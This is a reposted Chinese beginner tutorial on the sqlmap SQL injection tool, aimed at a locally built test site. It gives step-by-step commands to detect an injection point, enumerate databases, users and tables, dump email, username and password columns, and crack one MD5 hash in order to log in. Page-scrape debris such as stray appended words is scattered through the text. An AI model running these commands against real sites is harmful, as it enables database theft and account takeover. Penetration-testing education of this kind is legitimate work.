滲透測試工具sqlmap基礎教程 【轉】

轉載請註明出處:http://blog.csdn.net/zgyulongfei/article/details/41017493python

做者:羽龍飛web


 本文僅獻給想學習滲透測試的sqlmap小白,大牛請繞過。sql

>數據庫

>windows

對於網絡安全人員來講,掌握滲透工具的使用方法是一項必備的技能。然而,一個沒有師傅帶領的小白在剛開始學習時,並不知道該如何入手進行滲透學習,因此本文旨在幫助這些小白入門。安全

sqlmap是一款很是強大的開源sql自動化注入工具,能夠用來檢測和利用sql注入漏洞。它由python語言開發而成,所以運行須要安裝python環境。服務器


既然本文是基礎教程,如下只寫工具的基本使用方法。網絡

本教程爲sqlmap具體應用案例,如需瞭解更多sqlmap資料能夠訪問官方http://sqlmap.org ,或者烏雲知識庫http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。工具


測試環境:本地搭建的具備sql注入點的網站 http://192.168.1.150sqlserver

注意:sqlmap只是用來檢測和利用sql注入點的,並不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點。


教程開始:

1、檢測注入點是否可用

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134"  

參數:

-u:指定注入點url

結果:



注入結果展現:

(1)注入參數id爲GET注入,注入類型有四種分別爲:boolean-based blind、error-based、stacked queries、inline query。

(2)web服務器系統爲windows 2003 or XP

(3)web應用程序技術爲:ASP.NET, Microsoft IIS 6.0

(4)數據庫類型爲:SQLSERVER 2000


其中圖一有若干詢問語句,須要用戶輸入[Y/N],若是你懶得輸入或者不懂怎麼輸入可讓程序自動輸入,只需添加一個參數便可,命令以下:

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch  


2、暴庫

一條命令便可曝出該sqlserver中全部數據庫名稱,命令以下:

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs  


參數:

--dbs:dbs前面有兩條槓,請看清楚。

結果:


結果顯示該sqlserver中共包含7個可用的數據庫。


3、web當前使用的數據庫

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db  



4、web數據庫使用帳戶

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user  




5、列出sqlserver全部用戶

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --users  



6、數據庫帳戶與密碼

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords  



7、列出數據庫中的表

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables  

參數:

-D:指定數據庫名稱

--tables:列出表

結果:



結果體現共列出了34張表。


8、列出表中字段

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns  


參數:

-D:指定數據庫名稱

-T:指定要列出字段的表

--columns:指定列出字段

結果:


結果顯示該userb表中包含了23條字段。


9、暴字段內容

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump  

參數:

-C :指定要暴的字段

--dump:將結果導出

結果:


若是字段內容太多,須要花費不少時間。能夠指定導出特定範圍的字段內容,命令以下:

[plain] view plain copy 在CODE上查看代碼片派生到個人代碼片
  1. C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump  

參數:

--start:指定開始的行

--stop:指定結束的行

此條命令的含義爲:導出數據庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數據內容。

結果以下:




10、驗證結果

經過上圖結果看到其中的一個用戶信息爲:

email:123456@qq.com

username: 1.asp

password: 49ba59abbe56e057

經過md5解密,獲得該hash的原文密碼爲:123456


拿到帳號密碼咱們來測試是否能夠登陸,登陸結果以下:

相關文章
相關標籤/搜索